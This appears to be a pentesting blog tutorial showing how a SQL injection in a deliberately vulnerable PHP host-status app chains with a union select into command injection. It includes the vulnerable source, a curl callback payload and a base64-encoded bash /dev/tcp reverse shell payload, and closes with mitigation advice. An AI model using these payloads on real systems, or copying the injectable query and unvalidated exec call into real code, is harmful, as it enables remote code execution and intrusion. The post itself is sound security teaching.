In this Exploit Chronicles post, we will examine a blind SQL injection vulnerability that opens the way to a command injection attack. However, before we can reach that goal, some business logic needs to be bypassed.
Let’s take a look.
Finding the Vulnerability
For this blog post, I have created a small PHP web application that you can find here.
You can use this web application to check if a host is up or not, provided that the IP is part of the database and marked as active.
You may already smell the potential vulnerabilities that are present. Our goal here is to obtain remote code (command) execution. Examine the source code and see if you can spot the exploit chain needed to achieve that.
<html>
<body>
<h1>Awesome Host Status Checker</h1>
<p>Search for an available IP in our database and see if it responds!</p>
<form method="post">
<label for="search">Enter an IP:</label>
<input type="text" name="ip"></input>
<input type="submit" value="Is it up?"></input>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$ip = $_POST['ip'];
if (strlen($ip) === 0) {
return;
}
$db = new SQLite3('/var/www/html/ips.db');
$results = $db->query("SELECT ip, active FROM ips WHERE ip = '" . $ip . "'");
$row = $results->fetchArray();
if (!$row) {
echo "Host not found in database.";
return;
}
if ($row[1] === 1) { # active flag
$output = "";
exec("ping ". $row[0] . " -c 1 -W 1", $output);
if (str_contains($output[4], "1 received")) {
echo "Host is up.";
} else {
echo "Host is down.";
}
} else {
echo "This host is not active in our database. Please use another IP.";
}
}
?>
</body>
</html>
Let’s analyze what we have here. We will first use a “bottom-up” approach. The first issue that I can see is the potential SQL injection at line 21. Indeed, we can see that the variable $ip
is concatenated to the query without being parameterized. We can see on line 13 that we have control over this variable as it comes from the HTTP POST request body. This means that we can exploit this SQL injection. Let’s put a pin into that since there is another issue.
The second problem that we can find is a potential remote command injection at line 32. We can see that the exec
function is used to execute the ping
command. The value of $row[0]
is appended without validation to the command that will be executed. If we can control the content of row[0]
, we will have remote command injection. We can see on line 23 that the array $row
contains the results of the SQL query. This means that the command injection payload needs to come from the query result.
It might look like a big hurdle, but if you think about it, there is a straightforward way to chain these using SQL union
. Indeed, if we use a payload like ' union select ' ; <INJECTED-COMMAND-HERE> ; '-- -
for the $ip
, we would return our injected command from the SQL result. First, we do the '
to trigger the SQL injection and move from the data context of the query to the execution context. This means that the where
clause of the original query will look for an IP with an empty value in the database, which would return no results. We then use a union
to make sure that the value of ip
that is returned by the query contains our command injection. The resulting SQL query looks like this: SELECT ip, active FROM ips WHERE ip = '' union select ' ; <INJECTED-COMMAND-HERE> ; '-- -'
. This means that the value in $row[0]
is ; <INJECTED-COMMAND-HERE> ;
. Note that the ;
in the command injection payload are used to separate the commands executed in the exec
method. This ensures that we can execute our injected command without any issues. The other parts of the command won’t be valid, but it does not matter for the exploitation. The resulting command executed by exec
will look like: ping ; <INJECTED-COMMAND-HERE> ; -c 1 -W 1
.
Are we done? You may have noticed a problem. To reach exec
at line 32, we must pass an if statement at line 30. This if statement returns true only if $row[1]
equals 1. Since $row
contains the result of the SQL injection, this means that $row[1]
is the value of the active
flag returned by the SQL query. To pass this if statement, we need to update our SQL injection so that the resulting active
flag contains 1. This means adding a value to our union
statement, just after the command injection: ' union select ' ; <INJECTED-COMMAND-HERE>,1 ; '-- -
. With this, we have all the pieces to exploit this vulnerability chain.
Exploiting It
First, we will confirm that our payload works. Since the result of the exec
function is not printed back to the web application, our injection is completely blind. We will use a side channel, here a local “web server”, to confirm that we have remote command injection. In a real-world scenario, we would use a Burp collaborator or a simple HTTP server running on a VM in the cloud. For simplicity, we will use a netcat listener.
In our payload, we will try to execute a curl command to send an HTTP request to our netcat listener. The payload is: ' union select ' ; curl http://127.0.0.1:4242/aaa ; ', 1 -- -
.
We send this, and if we look at our netcat listener, we have a hit! This confirms that our payload worked.
Now to get a reverse shell. We will use a classic bash TCP reverse shell: bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
. However, to make sure that we do not encounter encoding errors, we will encode it in base 64.
We can then use the following payload to get a reverse shell: ' union select ' & echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzQyNDIgMD4mMSAK | base64 -d | /bin/bash & ', 1 -- -
Wrapping it Up and Mitigations
In terms of mitigations for this case, the first step would have been to use parameterized queries. This would prevent any user inputs from escaping the data context of the SQL query to the execution context. If the database is read-only, one could argue that it is enough. However, I would recommend a defense-in-depth approach and implement the next mitigation. Just imagine a feature that allows you to enter a new host into the database. You could end up injecting commands but using another path. It would be best to ensure that the IP passed to the `exec` function is validated against a restrictive regex that would ensure that only a valid IP format is present. If not, the command must not be executed.
The important lesson for any pentester is that chaining vulnerabilities together can lead to massive impacts. It is crucial to thoroughly analyze the behavior of the target and the source code, when available. Once you have identified some vulnerabilities, ask yourself: how can I maximize the impact? Is there a way for me to combine the vulnerabilities to increase that impact? In my experience, asking yourself those questions can make you a better pentester.